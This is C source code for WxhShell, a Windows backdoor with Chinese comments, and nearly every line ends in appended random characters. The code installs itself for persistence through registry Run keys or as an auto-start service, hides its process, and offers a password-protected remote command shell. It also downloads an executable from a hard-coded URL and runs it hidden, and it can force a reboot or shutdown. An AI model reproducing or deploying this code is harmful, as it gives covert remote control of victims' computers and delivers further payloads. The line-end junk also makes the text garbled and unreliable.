DWORD BasePriority; n0Go p^3
ULONG UniqueProcessId; Jy]Id*u9
ULONG InheritedFromUniqueProcessId; zCt\o
} PROCESS_BASIC_INFORMATION; ygN>"eP
pV7N byb4
PROCNTQSIP NtQueryInformationProcess; {Bh("wg$Lk
)>\4ULR83
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !DPF7x(-{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 61} i5o
/t*YDWLg
HANDLE hProcess; WfZF~$li`
PROCESS_BASIC_INFORMATION pbi; C ZJV_0
.oEbEs
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ql8bt77eI-
if(NULL == hInst ) return 0; b._m 8z ~
m[spn@SF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #n3ykzoqIX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
dy<27 =
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >.e+S?o
\7Qb229?
if (!NtQueryInformationProcess) return 0; 'f+NW&
dy2rkV.z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NgVR,G|1
if(!hProcess) return 0; R(G\wqHUT3
_1aGtX|W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <J&7]6Z
D^+?|Y@N
CloseHandle(hProcess); z<B CLP
='}#`',
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RP!
X8~8
if(hProcess==NULL) return 0; )u*^@Wo
GKZN}bOm\
HMODULE hMod; *)'V vu<
char procName[255]; [k$efwJ
unsigned long cbNeeded; oZN'HT
?'eq",c#4N
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /aY pIMi9}
.po>qb6
CloseHandle(hProcess); o_f-GO
e\F}q)_
if(strstr(procName,"services")) return 1; // 以服务启动 G>w+#{(
F}36IM9/:
return 0; // 注册表启动 o5!f#Y
} hi|!
eh(<m8I
// 主模块 sZg6@s=
int StartWxhshell(LPSTR lpCmdLine) <uci9- eC
{ &w85[zs
SOCKET wsl; )&,{?$ .
BOOL val=TRUE; Qs9OC9X1
int port=0; &eQJfc\a
struct sockaddr_in door; O("Uq../3
.Q* 'r&n
if(wscfg.ws_autoins) Install(); .WX,Nd3@
^:KO_{3E
port=atoi(lpCmdLine); ab.tH$:<
c?E{fD"Fc3
if(port<=0) port=wscfg.ws_port; F}Srn;V
X(Qu{HhI
WSADATA data; 632bN=>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z wk.bf>m
I4t*?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @MbVWiv
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fThgK;Qy'U
door.sin_family = AF_INET; n?xTkkr0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tU@zhGb
door.sin_port = htons(port); nlc.u}#
-tLO.JK<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
c5% 6Y2W0
closesocket(wsl); C&<~f#lB
return 1; pHC/(6?
} .c+9P<VmC}
QkQ!Ep(
if(listen(wsl,2) == INVALID_SOCKET) { #_JYh?
closesocket(wsl); )nfEQ)L;h}
return 1; A m"(+>W21
} O
)d[8jw"
Wxhshell(wsl); F #`=oM$5
WSACleanup(); fjG&`m#"
wTc)S6%7
return 0; O.QK"pKD\
33Az$GXFsq
} 2C=Q8ayvX
@'6"7g
// 以NT服务方式启动 #7G*GbKY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nw6pV%
{ =9wy/c$
DWORD status = 0; r^fe4b
DWORD specificError = 0xfffffff; l\OLyQ
KP]"P*?
?
serviceStatus.dwServiceType = SERVICE_WIN32; 0~Gle:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; WFTvOFj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ravyiOL
serviceStatus.dwWin32ExitCode = 0; aZS7sV28
serviceStatus.dwServiceSpecificExitCode = 0; !&^gaUa{
serviceStatus.dwCheckPoint = 0; /F)H\*
serviceStatus.dwWaitHint = 0; :-T*gqj|
-NJ!g/ >mM
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7[pBUDA
if (hServiceStatusHandle==0) return; YHXLv#8
nz]&a1"&
status = GetLastError(); i)a%!1Ar
if (status!=NO_ERROR) u=x+J=AH
{ fyknP)21I
serviceStatus.dwCurrentState = SERVICE_STOPPED; Lgk
serviceStatus.dwCheckPoint = 0; dT|vYK}\
serviceStatus.dwWaitHint = 0; sD;M!K_
serviceStatus.dwWin32ExitCode = status; hX:"QXx
serviceStatus.dwServiceSpecificExitCode = specificError; \ 0W!4D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zUJZ`seF
return; <y.]ImO
} p>w]rE:}
Q\ppfc{,
serviceStatus.dwCurrentState = SERVICE_RUNNING; OHv!
serviceStatus.dwCheckPoint = 0; <ABX0U[*
serviceStatus.dwWaitHint = 0; Ifc]K?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); saf&dd
} 2,q}Nq
yLE7>48
// 处理NT服务事件,比如:启动、停止 w >; L{
VOID WINAPI NTServiceHandler(DWORD fdwControl) W-Hoyn>?2
{ n2B){~vE
switch(fdwControl) ').}N z
{ tBbOY}.VD
case SERVICE_CONTROL_STOP: yw-8#y
serviceStatus.dwWin32ExitCode = 0; >Gml4vGK
serviceStatus.dwCurrentState = SERVICE_STOPPED; %QmxA
7fW
serviceStatus.dwCheckPoint = 0; Zdc63fllM
serviceStatus.dwWaitHint = 0; Mj#-j/{x{5
{ W !w, f;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XRx+Dddt;
} T;TA7{B
return; b?X.U}62_
case SERVICE_CONTROL_PAUSE: l e4?jQQ@L
serviceStatus.dwCurrentState = SERVICE_PAUSED; +ZMls
[
break; <7SpEVQ
case SERVICE_CONTROL_CONTINUE: t_^X$pL
serviceStatus.dwCurrentState = SERVICE_RUNNING; Fb22p6r
break; Hmt^h(*/2
case SERVICE_CONTROL_INTERROGATE: `{k"8#4:qA
break; 1RcSTg
}; U1_@F$mq<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ysq'2
} }o4N<%/+
v{zMO:3
// 标准应用程序主函数 }/tf>?c
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X|f7K
{ ]V l]XT$Um
vX0f,y
// 获取操作系统版本
xw^R@H
OsIsNt=GetOsVer(); Z>c3
GetModuleFileName(NULL,ExeFile,MAX_PATH); lGwl1,=
RqEH|EUZ
// 从命令行安装 hI%bjuq
if(strpbrk(lpCmdLine,"iI")) Install(); ^bg2[FV
LEMfG~Czq
// 下载执行文件 3~ S'LxV
if(wscfg.ws_downexe) { IN8>ZV`j)
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 00v&lQBW
WinExec(wscfg.ws_filenam,SW_HIDE); ]^':Bmq
} F'jWV5"*
]H-S,lmV
if(!OsIsNt) { ]D[DU]K
// 如果时win9x,隐藏进程并且设置为注册表启动 gb
^?l~SS
HideProc(); M FTkqbc
StartWxhshell(lpCmdLine); J;_}lF9d@
} 'o|30LzYgQ
else k.("3R6v:
if(StartFromService()) \$0F-=w`8
// 以服务方式启动 aRG2@5
StartServiceCtrlDispatcher(DispatchTable); L
pR''`2BT
else p&+;w
// 普通方式启动 2
rw%H
StartWxhshell(lpCmdLine); O5$/55PI
&j(+ /;A
return 0; Y<1QY?1sd
} <N\v)Ug`
i1H\#;`$
zi`b2h
rSXh;\MfB4
=========================================== 'RRmIx2X
-~?J+o+Pr"
ST\$=
0#w?HCx=
"Rn3lj0
|D, +P
" JkW9D)6
a=M\MZK>
#include <stdio.h> ;"(foY"L
#include <string.h> fRg`UI4w}
#include <windows.h> I%-
" |]$
#include <winsock2.h> t]7&\ihZi~
#include <winsvc.h> n6s}ww)
#include <urlmon.h> n1!?"m!
*OuStr \o
#pragma comment (lib, "Ws2_32.lib") )Ke*JJaq
#pragma comment (lib, "urlmon.lib") foJdu+^
,9WBTH8
#define MAX_USER 100 // 最大客户端连接数 aW>6NDq(
#define BUF_SOCK 200 // sock buffer O'Js}
#define KEY_BUFF 255 // 输入 buffer W6On93sa
9Xx's%U
#define REBOOT 0 // 重启 m(pE5B(
#define SHUTDOWN 1 // 关机 ()~pY!)1/
7S?4XyU/o
#define DEF_PORT 5000 // 监听端口 \[Z?&
.e_cgad :
#define REG_LEN 16 // 注册表键长度 +$oF]OO
#define SVC_LEN 80 // NT服务名长度 ]\7]%(
z5)s/;Sc
// 从dll定义API .'Y]R3\M+
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 31/Edd"]
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ f# FI&
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); os/vtyP:a
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [IK )
R: l&2k@
// wxhshell配置信息 V}\~ugN)y
struct WSCFG { `uC@nJ
int ws_port; // 监听端口 Pp )3(T:
char ws_passstr[REG_LEN]; // 口令 ?O>V%@
int ws_autoins; // 安装标记, 1=yes 0=no <=f}8a.R3
char ws_regname[REG_LEN]; // 注册表键名 H^YSJ6
char ws_svcname[REG_LEN]; // 服务名 oWYmj=D~2z
char ws_svcdisp[SVC_LEN]; // 服务显示名 a'z)
char ws_svcdesc[SVC_LEN]; // 服务描述信息 +nJUFc
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :=J,z,H_U
int ws_downexe; // 下载执行标记, 1=yes 0=no =$]uoA
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )_U<7"~0l
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >nzdnF_&zW
,yd?gP-O
}; !Q#{o^{Y~
lT(oL|{#P
// default Wxhshell configuration ;3'.C~
struct WSCFG wscfg={DEF_PORT, kT;S4B
"xuhuanlingzhe", -wjN"g<
1, F&&$Qn_+
"Wxhshell", br|;'i%(
"Wxhshell", dPhQ :sd>
"WxhShell Service", ]\!?qsT3}
"Wrsky Windows CmdShell Service", jYe'V#5S#
"Please Input Your Password: ", .k,kTr$S
1, )I3NeKWz
"http://www.wrsky.com/wxhshell.exe", ?Wz8[u
"Wxhshell.exe" e o pD5
}; L'F<ev
V{JAB]?^
// 消息定义模块 6L)%T02C
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s0PrbL%_`
char *msg_ws_prompt="\n\r? for help\n\r#>"; R)c'#St
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gvLf|+m
char *msg_ws_ext="\n\rExit."; nw-I|PVTNa
char *msg_ws_end="\n\rQuit."; ]C) 4
char *msg_ws_boot="\n\rReboot..."; J>\B`E
char *msg_ws_poff="\n\rShutdown..."; 92EWIHEWZ
char *msg_ws_down="\n\rSave to "; Z?\2F%
}mAa}{_
char *msg_ws_err="\n\rErr!"; ~$~5qwl
char *msg_ws_ok="\n\rOK!"; p\<u6v ~J
%"P,1&\^
char ExeFile[MAX_PATH]; }K&7%N4LZ
int nUser = 0; ]w.;4`l*
HANDLE handles[MAX_USER]; ,G2TVjz
int OsIsNt; JfR%L q~
1;{Rhu7*
k
SERVICE_STATUS serviceStatus; Z4lO?S5%J
SERVICE_STATUS_HANDLE hServiceStatusHandle; /oriW;OF
;72T|e
// 函数声明 ~-I+9F
int Install(void); %HL*c=
int Uninstall(void); ll C#1
int DownloadFile(char *sURL, SOCKET wsh); :53)Nv
int Boot(int flag); _]Zs,Hy
void HideProc(void); <N%7|t*eT
int GetOsVer(void); #W|'1
OX4
int Wxhshell(SOCKET wsl); wYmM"60
void TalkWithClient(void *cs); /AW=5Ck- #
int CmdShell(SOCKET sock); ypy68_xyW
int StartFromService(void); PS[+~>%
int StartWxhshell(LPSTR lpCmdLine); mFi&YpHu3
S;)w.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6Aku1h
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tQjLOv+?=
@~%r5pz6
// 数据结构和表定义 =F@Wgn,
SERVICE_TABLE_ENTRY DispatchTable[] = (JM5`XwM
{ 9o+)?1\
{wscfg.ws_svcname, NTServiceMain}, !7kG!)40
{NULL, NULL} (_"*NY0
}; T7#W0^tj
07[_.i.l
// 自我安装 uB]b}"+l
int Install(void) VSSu&Q
{ bdc&1I$
char svExeFile[MAX_PATH]; s#WAR]x0x
HKEY key; bLwAXW2K+
strcpy(svExeFile,ExeFile); iB498t
3J5!oF{H
// 如果是win9x系统,修改注册表设为自启动 ^3UGV*Ypk
if(!OsIsNt) { 2'W<h)m)z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Vwc3d
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hK_LEwd;
RegCloseKey(key); <?@NRFTe
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3h *!V6%q
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F 9@h|#an
RegCloseKey(key); sn)3ZA
return 0; 6=fSE=]DY
} EUxG Aj$-
} D`$hPYK|_
} c|#8T*`C
else { eY|
lQe%Yh
>rl
// 如果是NT以上系统,安装为系统服务 sL\L"rQN6
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lhBT@5Dm9
if (schSCManager!=0) fIsp;ca[k
{ #n#@fAY
SC_HANDLE schService = CreateService /|D*w^>
( tQBRA/
schSCManager, , T8>}U(
wscfg.ws_svcname, 6e[VgN-s
wscfg.ws_svcdisp, {\:{[{qF
SERVICE_ALL_ACCESS, D>LZP!
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;<(W% _
SERVICE_AUTO_START, sk=-M8;\
SERVICE_ERROR_NORMAL, |v$JCU3!A
svExeFile, #3+!ee27#
NULL, TL}++e
7+
NULL, (G[
*|6m
NULL, )3>hhuaa
NULL, {qN 5MsY
NULL %'X[^W
); D"a~#^
if (schService!=0) |\7
ET[Xq
{ :>Ay^{vf=
CloseServiceHandle(schService); L2[f]J%
CloseServiceHandle(schSCManager); SN1}xR$
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n\^Tq<] a
strcat(svExeFile,wscfg.ws_svcname); N19({0+i2
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <y?r!l=Am
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /\4'ddGU
RegCloseKey(key); C,v(:ZE$J7
return 0; jbS\vyG
} &M.66O@
} DF*:_B)
CloseServiceHandle(schSCManager); ;n&t>pBM
} OHhsP}/
} d2H|LMhJ
T Kg aV;92
return 1; rV T{90,
} ,uSQNre\j
-@0GcUE:r
// 自我卸载 x3o]U)^
int Uninstall(void) EV*IoE$W]=
{ SUU !7Yd|
HKEY key; N _86t
H*$jc\
dC
if(!OsIsNt) { d'G0m9u2
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5
4L\Jx
RegDeleteValue(key,wscfg.ws_regname); ]zWon~
RegCloseKey(key); 4X+ifZO
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y07ZB'K
RegDeleteValue(key,wscfg.ws_regname); !'cl"\h
RegCloseKey(key); 5'X ]k@m_
return 0; @T'i/}nl
} kNobl
}
(q(~de
} *%S"eWb
else { -)RH5WG S
jAm3HI
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MMx9(`t*.
if (schSCManager!=0) PqiB\~o@Z
{ T^Ze3L]
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9Ru8~R/\
if (schService!=0) B4i!/@0s
{ 8[E!E)4M
if(DeleteService(schService)!=0) { 3%%o?8ES
CloseServiceHandle(schService); fR*q?,
CloseServiceHandle(schSCManager); &i$ldR
return 0; ".<DAs j
} aPm`^
q
CloseServiceHandle(schService); ,v';>.]
} $**r(HV
CloseServiceHandle(schSCManager); v33dxZ'
} 1ke g9]
} &3TEfvz
,I%g|'2
return 1; +i@y@<l:+
} 4 Dw@r{
mg$]QnbAnH
// 从指定url下载文件 Dk(1}%0U/
int DownloadFile(char *sURL, SOCKET wsh) \kU &^Hi
{ s#)5h0t#du
HRESULT hr; <7j87
char seps[]= "/"; {6_|/KE9_
char *token; --|Wh^i>?
char *file; WYEKf9}
char myURL[MAX_PATH]; !AKg m'Nw
char myFILE[MAX_PATH]; 3 G`aHTWk
z6w3"9Um
strcpy(myURL,sURL); _YLfL
token=strtok(myURL,seps); lna}@]oR
while(token!=NULL) =A!@6Nw
{ .`4{9?bR
file=token; g!+|I
token=strtok(NULL,seps); bqnNLs<N
} "hzB9*"t
/#VhkC _
GetCurrentDirectory(MAX_PATH,myFILE); t\%HX.8[;%
strcat(myFILE, "\\"); ~1W x=
strcat(myFILE, file); }}>q2y
send(wsh,myFILE,strlen(myFILE),0); 32/MkuY^u
send(wsh,"...",3,0); DW_1,:,?7l
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K%F,='P}
if(hr==S_OK) $0lD>yu
return 0; MBhWMCN2
else BE_ay-
return 1; OVhE??#
9/ibWa\.
} r?Wk<>%>
.xH5fMj,"
// 系统电源模块 83Q4On
int Boot(int flag) c%'RR?Tl
{ %|oJ>+
HANDLE hToken; JQ6zVS2SSS
TOKEN_PRIVILEGES tkp; )`A3M)
:=/>Vbd: )
if(OsIsNt) { n3D;"a3
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d[V;&U
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o8-^cP1
tkp.PrivilegeCount = 1; LS88.w\=S@
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zy(W^~NT
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8$;=Uf,x
if(flag==REBOOT) { ]2\VweV
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 79xx2
return 0; )Cc q4i
} pXtX jb
else { j{9D{
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nAjO6g6E
return 0; 2|}+T6_q
} Q^e}?v%=%3
} Y<Fz)dQo
else { {O`w,dMOI
if(flag==REBOOT) { -Ty*aov
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D~$r\]av
return 0; #R.-KUW:
} ( 8c9 /7h
else { 3T!lA
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZsOIH<